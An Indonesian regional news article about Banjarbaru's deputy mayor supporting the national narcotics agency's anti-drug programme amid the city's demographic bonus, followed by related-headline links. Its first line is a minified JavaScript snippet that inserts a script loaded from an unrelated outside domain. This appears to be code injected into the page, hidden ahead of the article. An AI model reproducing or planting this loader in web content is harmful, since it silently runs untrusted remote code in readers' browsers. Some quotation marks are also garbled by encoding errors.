(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Diprediksi pada tahun 2025-2030 Kota Banjarbaru mendapat bonus demografi. Bonus demografi ditandai dengan dominasi jumlah penduduk usia produktif (15-64 tahun) atas jumlah penduduk tidak produktif yang bisa dilihat dari angka rasio ketergantungan yang rendah. Rasio ketergantungan sendiri merupakan perbandingan antara jumlah penduduk usia tidak produktif dan jumlah usia produktif.
Wakil Walikota Banjarbaru Darmawan Jaya Setiawan mengatakan, masyarakat Banjarbaru yang umurnya berada pada masa produktif menjadi modal sangat besar untuk memajukan dan mensejahterakan masyarakat. Namun jika ada narkoba menjadi tantangan terhadap umur-umur produktif tersebut.
“Jika generasi produktif di era bonus demografi ini terpengaruh oleh narkoba, bukannya menjadi modal untuk memajukan dan mensejahterakan pembangunan di masyarakat tapi malah menjadi faktor penurunan kualitas di segala bidang,†bebernya.
“Tidak ada narkoba, maka bonus demografi akan menghasilkan generasi muda yang cerdas, budi pekerti luhur, dan punya akhlak mulia,†katanya kepada wartawan, Selasa (23/1) di gedung baru pinjam pakai BNN Kota Banjarbaru di Jalan Trikora No 1.
Untuk dia sangat bersyukur dengan kehadiran BNN di Kota Banjarbaru dalam rangka kegiatan P4GN (Pencegahan Pemberantasan Penyalahgunaan dan Peredaran Gelap Narkoba).
“Semoga P4GN di Banjarbaru berjalan efisien dan efektif, kelihatan kualitas dan kuantitasnya sehingga terjadi penurunan signifikan penyalahgunaan narkoba,†harapnya.
Darmawan menegaskan pihaknya sangat mendukung kegiatan P4GN di Kota Banjarbaru. “Jadi harus kita dukung karena sejalan dengan visi kita, untuk mewujudkan Banjarbaru sebagai kota pelayanan yang berkarakter, namun tidak akan berkarakter jika masyarakatnya menyalahgunakan narkobaâ€Â
Untuk mendukung pembangunan di Kota Banjarbaru yang berkarakter sesuai dengan visi kota Banjarbaru yakni menjadi kota pelayanan berkarakter. Pemerintah Kota Banjarbaru sangat mendukung adanya BNN di Kota Banjarbaru, karena merupakan instansi yang memiliki posisi startegis dalam mendukung pencapaian visi tersebut. Salah satu langkah yang dilakukan oleh Pemkot adalah dengan menyediakan gedung sebagai kantor pinjam pakai BNN Kota Banjarbaru. (abdullah)
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.